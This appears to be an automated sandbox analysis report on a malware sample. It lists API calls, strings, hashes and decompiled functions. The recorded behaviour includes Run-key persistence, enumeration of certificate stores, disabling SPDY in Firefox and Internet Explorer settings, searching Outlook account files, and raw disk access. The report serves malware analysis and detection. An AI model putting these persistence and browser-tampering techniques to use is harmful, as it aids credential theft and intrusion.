Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmIsIME,00000000,ImmGetCompositionStringA,00000000,ImmSetCompositionFontA,00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext), ref: 003D3960
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmNotifyIME,00000000,ImmIsIME,00000000,ImmGetCompositionStringA,00000000,ImmSetCompositionFontA,00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus), ref: 003D3975
Part of subcall function 003D3830: SetErrorMode.KERNEL32(?,003D399D,00008000), ref: 003D3990

Part of subcall function 003B7A64: GetKeyboardLayout.USER32 ref: 003B7AA9
Part of subcall function 003B7A64: GetDC.USER32(00000000), ref: 003B7AFE
Part of subcall function 003B7A64: GetDeviceCaps.GDI32(00000000,0000005A), ref: 003B7B08
Part of subcall function 003B7A64: ReleaseDC.USER32(00000000,00000000), ref: 003B7B13

Part of subcall function 003B8B48: LoadIconA.USER32 ref: 003B8C2D
Part of subcall function 003B8B48: GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000,MAINICON), ref: 003B8C5F
Part of subcall function 003B8B48: OemToCharA.USER32 ref: 003B8C72
Part of subcall function 003B8B48: CharLowerA.USER32 ref: 003B8CB2

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,?,?,00000000,003D3DA4), ref: 003D3D6B
70D9FFF6.KERNEL32(00000000,AnimateWindow,USER32,00000000,00000000,?,?,00000000,003D3DA4), ref: 003D3D7C

Strings

USER32, xrefs: 003D3D66
ControlOfs%.8X%.8X, xrefs: 003D3CAF
Delphi%.8X, xrefs: 003D3C5E
AnimateWindow, xrefs: 003D3D76
|L9, xrefs: 003D3CF3

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$AtomCharCurrentErrorGlobalHandleLoadMode$CapsClipboardCriticalDeviceFileFormatIconInitializeKeyboardLayoutLibraryLowerNameProcessRegisterReleaseSectionThread
String ID: AnimateWindow$ControlOfs%.8X%.8X$Delphi%.8X$USER32$|L9
API String ID: 1362026753-1471236869
Opcode ID: 2aa8af631c8dfe1958c9e9f4d50aa89c295be7e2202b671ffe6944d359b0a242
Instruction ID: 377e69835c6defed5d73d9ca709e04c40f67c7e3bf7dffbf5e998e51ddb6ae11
Opcode Fuzzy Hash: 2aa8af631c8dfe1958c9e9f4d50aa89c295be7e2202b671ffe6944d359b0a242
Instruction Fuzzy Hash: 43414A75A053459BCB03FFB8FC8299EB7A9AB08304F5144A7E500DB362DB71AE008B56

Uniqueness

Uniqueness Score: -1.00%

Function 02349D17, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 101registrymemorystringCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000), ref: 02349D33

Part of subcall function 02344856: RegCloseKey.ADVAPI32(?), ref: 023448DD

lstrcmpiW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,02342185), ref: 02349D6B
lstrlenW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,02342185), ref: 02349D7C
RegCreateKeyA.ADVAPI32(80000001,54464F53,?), ref: 02349DB7
RegSetValueExA.ADVAPI32(00000000,72617453,00000000,00000004,?,00000004,?,02342185), ref: 02349DD9
RegCloseKey.ADVAPI32(?,?,02342185), ref: 02349DE2
RtlEnterCriticalSection.NTDLL(00000000), ref: 02349DF8
HeapFree.KERNEL32(00000000,?), ref: 02349E0D
RtlLeaveCriticalSection.NTDLL(00000000), ref: 02349E1D
HeapFree.KERNEL32(00000000,?), ref: 02349E32
RegCloseKey.ADVAPI32(?,?,02342185), ref: 02349E37

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 02349D23

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Close$CriticalFreeHeapSection$CreateEnterLeaveOpenValuelstrcmpilstrlen
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 534682438-1428018034
Opcode ID: cb4de4fcf4b50aea92525290cb6f15b904574c1dd9abe7f884594eb540ce7486
Instruction ID: e8f311dddbf30038b6d75563ac9cf8f5730302f0b58ff25d23d2c613e6f5acbd
Opcode Fuzzy Hash: cb4de4fcf4b50aea92525290cb6f15b904574c1dd9abe7f884594eb540ce7486
Instruction Fuzzy Hash: 5B3135B1D40109FFCB119F95DD48EAEBBBEEB48B44F1488A5F501E6120DB31AA64DF50

Uniqueness

Uniqueness Score: -1.00%

Function 02346E55, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 78memoryfileCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000104,00000000), ref: 02346E6C
GetWindowsDirectoryA.KERNEL32(00000000,00000104,?,00000000,?,02342339,00000094,00000000,00000001,00000094,00000000,00000000,?,00000000,00000094,00000000), ref: 02346E7E
StrChrA.SHLWAPI(00000000,0000003A), ref: 02346E8B
wsprintfA.USER32 ref: 02346E9F
CreateFileA.KERNEL32(00000002,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 02346EB5
GetModuleHandleA.KERNEL32(00000000,00010000,?,00000000), ref: 02346ECE
WriteFile.KERNEL32(00000000,00000000), ref: 02346ED6
GetLastError.KERNEL32 ref: 02346EE4
CloseHandle.KERNEL32(00000000), ref: 02346EED
GetLastError.KERNEL32(?,00000000,?,02342339,00000094,00000000,00000001,00000094,00000000,00000000,?,00000000,00000094,00000000), ref: 02346EFE
HeapFree.KERNEL32(00000000,00000000), ref: 02346F0E

Strings

\\.\%s, xrefs: 02346E99

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorFileHandleHeapLast$AllocateCloseCreateDirectoryFreeModuleWindowsWritewsprintf
String ID: \\.\%s
API String ID: 3873609385-869905501
Opcode ID: 4a27a80b76db06ae26ddbbbbabdd8b9e34e66af928213b8b09c9ff4e65e76de8
Instruction ID: 3d922d06c9533d377c5e82d636c2ae034c849db616f91fdbae287edb7b7de0a4
Opcode Fuzzy Hash: 4a27a80b76db06ae26ddbbbbabdd8b9e34e66af928213b8b09c9ff4e65e76de8
Instruction Fuzzy Hash: C611B1F1984314BFE2202E25AD4DF7B3AACEB42BA9F0085A5F90391180DA615C6889B1

Uniqueness

Uniqueness Score: -1.00%

Function 0235BA7C, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 65filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FD5
Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FEE
Part of subcall function 02348FC3: GetCurrentThreadId.KERNEL32(?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02348FFB
Part of subcall function 02348FC3: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02349007
Part of subcall function 02348FC3: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02349015
Part of subcall function 02348FC3: lstrcpy.KERNEL32(00000000), ref: 02349037

DeleteFileA.KERNEL32(00000000,000004D2), ref: 0235BA9F
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0235BAA8
GetLastError.KERNEL32 ref: 0235BAB2
HeapFree.KERNEL32(00000000,00000000), ref: 0235BB36

Strings

TrustedPeople, xrefs: 0235BAFF
Root, xrefs: 0235BAF4
AuthRoot, xrefs: 0235BAD3
CertificateAuthority, xrefs: 0235BADE
Disallowed, xrefs: 0235BAE9
AddressBook, xrefs: 0235BAC8
TrustedPublisher, xrefs: 0235BB0A

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FileTemp$PathTime$CreateCurrentDeleteDirectoryErrorFreeHeapLastNameSystemThreadlstrcpy
String ID: AddressBook$AuthRoot$CertificateAuthority$Disallowed$Root$TrustedPeople$TrustedPublisher
API String ID: 3543646443-3095660563
Opcode ID: c8cb95c8d1a35de35ccf2ebb3c4cdb37bcd0c3219ac3a3216031b0c9dba180a6
Instruction ID: 0caab50d9a73fa30725af0d2bb3e01d3055090b1320875a549a613defdae77b9
Opcode Fuzzy Hash: c8cb95c8d1a35de35ccf2ebb3c4cdb37bcd0c3219ac3a3216031b0c9dba180a6
Instruction Fuzzy Hash: F6018E61E85630B3F53032661C4EF9F3EAE8F7ABB1F008590F90A611888DA0501599F6

Uniqueness

Uniqueness Score: -1.00%

Function 003CFCAC, Relevance: 19.7, APIs: 13, Instructions: 224
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E003CFCAC(intOrPtr* __eax, intOrPtr __edx) {
				intOrPtr* _v8;
				intOrPtr _v12;
				struct HDC__* _v16;
				struct tagRECT _v32;
				struct tagRECT _v48;
				void* _v64;
				intOrPtr* _t195;
				intOrPtr* _t198;
				intOrPtr _t207;
				void* _t210;
				intOrPtr _t218;
				signed int _t236;
				void* _t239;
				void* _t241;
				intOrPtr _t242;

				_t239 = _t241;
				_t242 = _t241 + 0xffffffc4;
				_v12 = __edx;
				_v8 = __eax;
				if( *(_v8 + 0x165) != 0 ||  *(_v8 + 0x16c) > 0) {
					_v16 = GetWindowDC(E003CEEB8(_v8));
					_push(_t239);
					_push(0x3cff12);
					_push( *[fs:edx]);
					 *[fs:edx] = _t242;
					GetClientRect(E003CEEB8(_v8),  &_v32);
					GetWindowRect(E003CEEB8(_v8),  &_v48);
					MapWindowPoints(0, E003CEEB8(_v8),  &_v48, 2);
					OffsetRect( &_v32,  ~(_v48.left),  ~(_v48.top));
					ExcludeClipRect(_v16, _v32, _v32.top, _v32.right, _v32.bottom);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					InflateRect( &_v32,  *(_v8 + 0x16c),  *(_v8 + 0x16c));
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					if( *(_v8 + 0x165) != 0) {
						_t210 = 0;
						if( *(_v8 + 0x163) != 0) {
							_t210 = 0 +  *((intOrPtr*)(_v8 + 0x168));
						}
						if( *(_v8 + 0x164) != 0) {
							_t210 = _t210 +  *((intOrPtr*)(_v8 + 0x168));
						}
						_t236 = GetWindowLongA(E003CEEB8(_v8), 0xfffffff0);
						if(( *(_v8 + 0x162) & 0x00000001) != 0) {
							_v48.left = _v48.left - _t210;
						}
						if(( *(_v8 + 0x162) & 0x00000002) != 0) {
							_v48.top = _v48.top - _t210;
						}
						if(( *(_v8 + 0x162) & 0x00000004) != 0) {
							_v48.right = _v48.right + _t210;
						}
						if((_t236 & 0x00200000) != 0) {
							_t198 =  *0x3d9f60; // 0x3db8f4
							_v48.right = _v48.right +  *((intOrPtr*)( *_t198))(0x14);
						}
						if(( *(_v8 + 0x162) & 0x00000008) != 0) {
							_v48.bottom = _v48.bottom + _t210;
						}
						if((_t236 & 0x00100000) != 0) {
							_t195 =  *0x3d9f60; // 0x3db8f4
							_v48.bottom = _v48.bottom +  *((intOrPtr*)( *_t195))(0x15);
						}
						DrawEdge(_v16,  &_v48,  *(0x3d9d5c + ( *(_v8 + 0x163) & 0x000000ff) * 4) |  *(0x3d9d6c + ( *(_v8 + 0x164) & 0x000000ff) * 4),  *(_v8 + 0x162) & 0x000000ff |  *(0x3d9d7c + ( *(_v8 + 0x165) & 0x000000ff) * 4) |  *(0x3d9d8c + ( *(_v8 + 0x1a5) & 0x000000ff) * 4) | 0x00002000);
					}
					IntersectClipRect(_v16, _v48.left, _v48.top, _v48.right, _v48.bottom);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					OffsetRect( &_v48,  ~_v48,  ~(_v48.top));
					FillRect(_v16,  &_v48, E003A0118( *((intOrPtr*)(_v8 + 0x170))));
					_pop(_t218);
					 *[fs:eax] = _t218;
					_push(0x3cff19);
					return ReleaseDC(E003CEEB8(_v8), _v16);
				} else {
					 *((intOrPtr*)( *_v8 - 0x10))();
					_t207 = E003A937C(E003A929C());
					if(_t207 != 0) {
						_t207 = _v8;
						if(( *(_t207 + 0x52) & 0x00000002) != 0) {
							_t207 = E003A98AC(E003A929C(), 0, _v8);
						}
					}
					return _t207;
				}
			}

0x003cfcad
0x003cfcaf
0x003cfcb5
0x003cfcb8
0x003cfcc5
0x003cfce5
0x003cfcea
0x003cfceb
0x003cfcf0
0x003cfcf3
0x003cfd03
0x003cfd15
0x003cfd2b
0x003cfd40
0x003cfd59
0x003cfd64
0x003cfd65
0x003cfd66
0x003cfd67
0x003cfd77
0x003cfd82
0x003cfd83
0x003cfd84
0x003cfd85
0x003cfd90
0x003cfd96
0x003cfda2
0x003cfda7
0x003cfda7
0x003cfdb7
0x003cfdbc
0x003cfdbc
0x003cfdd2
0x003cfdde
0x003cfde0
0x003cfde0
0x003cfded
0x003cfdef
0x003cfdef
0x003cfdfc
0x003cfdfe
0x003cfdfe
0x003cfe07
0x003cfe0b
0x003cfe14
0x003cfe14
0x003cfe21
0x003cfe23
0x003cfe23
0x003cfe2c
0x003cfe30
0x003cfe39
0x003cfe39
0x003cfe99
0x003cfe99
0x003cfeb2
0x003cfebd
0x003cfebe
0x003cfebf
0x003cfec0
0x003cfed1
0x003cfeed
0x003cfef4
0x003cfef7
0x003cfefa
0x003cff11
0x003cff19
0x003cff21
0x003cff29
0x003cff30
0x003cff32
0x003cff39
0x003cff45
0x003cff45
0x003cff39
0x003cff50
0x003cff50

APIs

GetWindowDC.USER32(00000000), ref: 003CFCE0
GetClientRect.USER32 ref: 003CFD03
GetWindowRect.USER32 ref: 003CFD15
MapWindowPoints.USER32 ref: 003CFD2B
OffsetRect.USER32 ref: 003CFD40
ExcludeClipRect.GDI32(?,?,?,?,?), ref: 003CFD59
InflateRect.USER32 ref: 003CFD77
GetWindowLongA.USER32(00000000,000000F0), ref: 003CFDCD
DrawEdge.USER32(?,?,00000000,00000008), ref: 003CFE99
IntersectClipRect.GDI32(?,?,?,?,?), ref: 003CFEB2
OffsetRect.USER32 ref: 003CFED1
FillRect.USER32(?,?,00000000), ref: 003CFEED
ReleaseDC.USER32(00000000,?), ref: 003CFF0C

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$Window$ClipOffset$ClientDrawEdgeExcludeFillInflateIntersectLongPointsRelease
String ID:
API String ID: 3115931838-0
Opcode ID: f308a70476127f5c146b7398bdd0a8560a0e6129c1c0e138ed3e09ff708b362b
Instruction ID: 13f319828ba975b67eb729eb9a18616ecc03ccc191d2ddc68cd336831e9f960b
Opcode Fuzzy Hash: f308a70476127f5c146b7398bdd0a8560a0e6129c1c0e138ed3e09ff708b362b
Instruction Fuzzy Hash: EA91FC71E00648AFDB42EBA8D985FEEB7F9AF49300F1540A5F514EB252C775AE04CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0047AD95, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0047AD95(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x470000;
				_t115 = _t139[3] + 0x470000;
				_t131 = _t139[4] + 0x470000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x470000;
				_v16 = _t139[5] + 0x470000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x470002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x47d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x47d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x47d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x47d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x47d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t138 = LoadLibraryA(_v60);
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x47d198; // 0x0
										 *_t102 = _t125;
										 *0x47d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x47d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0047ada4
0x0047adba
0x0047adc0
0x0047adc2
0x0047adc7
0x0047adcd
0x0047add2
0x0047add5
0x0047ade3
0x0047adea
0x0047aded
0x0047adf0
0x0047adf1
0x0047adf4
0x0047adf7
0x0047adfa
0x0047adff
0x0047ae0e
0x00000000
0x0047ae14
0x0047ae1e
0x0047ae28
0x0047ae2d
0x0047ae2f
0x0047ae39
0x0047ae3c
0x0047ae3f
0x0047ae45
0x0047ae47
0x0047ae47
0x0047ae4a
0x0047ae4d
0x0047ae52
0x0047ae56
0x0047ae69
0x0047ae6b
0x0047af13
0x0047af13
0x0047af1a
0x0047af1d
0x0047af27
0x0047af27
0x0047af2b
0x0047afa9
0x0047afac
0x0047afae
0x0047afae
0x0047afb5
0x0047afb7
0x0047afc1
0x0047afc4
0x0047afc7
0x0047afc7
0x00000000
0x0047af2d
0x0047af30
0x0047af5e
0x0047af68
0x0047af6c
0x0047af74
0x0047af77
0x0047af7e
0x0047af88
0x0047af88
0x0047af8c
0x0047af91
0x0047afa0
0x0047afa6
0x0047afa6
0x0047af8c
0x00000000
0x0047af37
0x0047af3a
0x0047af42
0x0047af57
0x0047af5c
0x00000000
0x00000000
0x0047af5c
0x00000000
0x0047af42
0x0047af30
0x0047af2b
0x0047ae71
0x0047ae78
0x0047ae88
0x0047ae91
0x0047ae95
0x0047aed8
0x0047aee4
0x0047af0d
0x0047aee6
0x0047aeea
0x0047aef0
0x0047aef8
0x0047aefa
0x0047aefd
0x0047af03
0x0047af05
0x0047af05
0x0047aef8
0x0047aeea
0x00000000
0x0047aee4
0x0047ae9d
0x0047aea0
0x0047aea7
0x0047aeb7
0x0047aeba
0x0047aeca
0x00000000
0x0047aed0
0x0047aeb1
0x0047aeb5
0x00000000
0x00000000
0x00000000
0x0047aeb5
0x0047ae82
0x0047ae86
0x00000000
0x00000000
0x00000000
0x0047ae86
0x0047ae5f
0x0047ae63
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0047AE0E
LoadLibraryA.KERNEL32(?), ref: 0047AE8B
GetLastError.KERNEL32 ref: 0047AE97
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0047AECA

Strings

$, xrefs: 0047ADE3

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 97c46bd99d511fd24324e19c8f85974211b0092767b971e7ec0083636651bed2
Instruction ID: 8e92f826baedd39fddbb5a178aa69a330f5e4812c555ec7ffc4fe55d5e8a75c6
Opcode Fuzzy Hash: 97c46bd99d511fd24324e19c8f85974211b0092767b971e7ec0083636651bed2
Instruction Fuzzy Hash: DE810AB5A002059FDB20CFA9D884AEEB7F5FF88310F14812AE509E7350E774E955CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0234C962, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 023575F4: RtlEnterCriticalSection.NTDLL(P)(), ref: 023575FC
Part of subcall function 023575F4: RtlLeaveCriticalSection.NTDLL(P)(), ref: 02357611
Part of subcall function 023575F4: InterlockedIncrement.KERNEL32(0000001C), ref: 0235762A

RtlAllocateHeap.NTDLL(00000000,00000018,Blocked), ref: 0234C998
memset.NTDLL ref: 0234C9A9
lstrcmpi.KERNEL32(?,?), ref: 0234C9E9
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 0234CA12
memcpy.NTDLL(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,023513B0), ref: 0234CA26
memset.NTDLL ref: 0234CA33
memcpy.NTDLL(-00000004,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0234CA4C
memcpy.NTDLL(-00000005,HIDDEN,00000007,-00000004,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0234CA67
HeapFree.KERNEL32(00000000,00000000), ref: 0234CA84

Strings

HIDDEN, xrefs: 0234CA61
Blocked, xrefs: 0234C96B, 0234CA94

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heapmemcpy$AllocateCriticalSectionmemset$EnterFreeIncrementInterlockedLeavelstrcmpi
String ID: Blocked$HIDDEN
API String ID: 694413484-4010945860
Opcode ID: 83b2df6d3198af7bdc4d9541814d9e79729d56970f758dac91614c4bb4e195cc
Instruction ID: 9838bd40b643ec403943118dd9e7c1f861478e89c0b2eb1d5f75b1bb8ed3ac67
Opcode Fuzzy Hash: 83b2df6d3198af7bdc4d9541814d9e79729d56970f758dac91614c4bb4e195cc
Instruction Fuzzy Hash: 6D41B0B1E41219BFDF20DFA4CC44B9DBBB9FF04714F1088AAE915A7240DB71AA548F60

Uniqueness

Uniqueness Score: -1.00%

Function 0234A21E, Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 116registrysynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02349945: lstrlenW.KERNEL32(?,account{*}.oeaccount,00000001,?,00000250,?,00000000), ref: 02349991
Part of subcall function 02349945: lstrlenW.KERNEL32(?,?,00000000), ref: 0234999D
Part of subcall function 02349945: memset.NTDLL ref: 023499E5
Part of subcall function 02349945: FindFirstFileW.KERNEL32(00000000,00000000), ref: 02349A00
Part of subcall function 02349945: lstrlenW.KERNEL32(00000000), ref: 02349A38
Part of subcall function 02349945: lstrlenW.KERNEL32(?), ref: 02349A40
Part of subcall function 02349945: memset.NTDLL ref: 02349A63
Part of subcall function 02349945: wcscpy.NTDLL ref: 02349A75

WaitForSingleObject.KERNEL32(00000000,%APPDATA%\Mozilla\Firefox\Profiles), ref: 0234A2B1
RegOpenKeyA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings,?), ref: 0234A2E0
RegSetValueExA.ADVAPI32(?,EnableSPDY3_0,00000000,00000004,00000000,00000004), ref: 0234A2FC
RegCloseKey.ADVAPI32(?), ref: 0234A305
WaitForSingleObject.KERNEL32(00000000,02356215), ref: 0234A348
RtlExitUserThread.NTDLL(?), ref: 0234A37E

Part of subcall function 02354D2C: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 02354D4A
Part of subcall function 02354D2C: GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,02341016,?,?,?), ref: 02354D5A
Part of subcall function 02354D2C: CloseHandle.KERNEL32(000000FF), ref: 02354DBC

Part of subcall function 0235289B: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 023528DC
Part of subcall function 0235289B: GetLastError.KERNEL32 ref: 023528E6
Part of subcall function 0235289B: WaitForSingleObject.KERNEL32(000000C8), ref: 0235290B
Part of subcall function 0235289B: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,?,00000080,00000000), ref: 0235292C
Part of subcall function 0235289B: SetFilePointer.KERNEL32(00000006,00000000,00000000,00000002), ref: 02352954
Part of subcall function 0235289B: WriteFile.KERNEL32(00000006,00001388,?,00000002,00000000), ref: 02352969
Part of subcall function 0235289B: SetEndOfFile.KERNEL32(00000006), ref: 02352976
Part of subcall function 0235289B: CloseHandle.KERNEL32(00000006), ref: 0235298E

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 0234A2D6
%APPDATA%\Mozilla\Firefox\Profiles, xrefs: 0234A23B
user_pref("network.http.spdy.enabled", false);, xrefs: 0234A269, 0234A27F
EnableSPDY3_0, xrefs: 0234A2F4
prefs.js, xrefs: 0234A236

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$lstrlen$CloseCreateObjectSingleWait$Handlememset$ErrorExitFindFirstLastOpenPointerSizeThreadUserValueWritewcscpy
String ID: user_pref("network.http.spdy.enabled", false);$%APPDATA%\Mozilla\Firefox\Profiles$EnableSPDY3_0$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings$prefs.js
API String ID: 90276831-3405794569
Opcode ID: 94ecdf1cb573e142bfc01ff8c88a18183a70afea77431324b51010e06aef4aca
Instruction ID: 64fcb35b922fed3901a379c76dea32298f90d2c6939df068573cf618f7ab10d9
Opcode Fuzzy Hash: 94ecdf1cb573e142bfc01ff8c88a18183a70afea77431324b51010e06aef4aca
Instruction Fuzzy Hash: 794190B1E90214BBEB209BA4CC4AFAEB7BDEB04704F108495F505B3180EB71A9418F50

Uniqueness

Uniqueness Score: -1.00%

Function 0235A3B3, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76stringfilememoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32(00000000,?,00000000,?,0234213C), ref: 0235A3C3
CreateFileW.KERNEL32(0234213C,80000000,00000003,02367160,00000003,00000000,00000000), ref: 0235A3E0
GetLastError.KERNEL32(?,00000000,?,0234213C), ref: 0235A481

Part of subcall function 02345545: lstrlen.KERNEL32(?,00000000,00000001,00000027,02367160,?,00000000,0235A401,Local\,00000001,?,00000000,?,0234213C), ref: 0234557B
Part of subcall function 02345545: lstrcpy.KERNEL32(00000000,00000000), ref: 0234559F
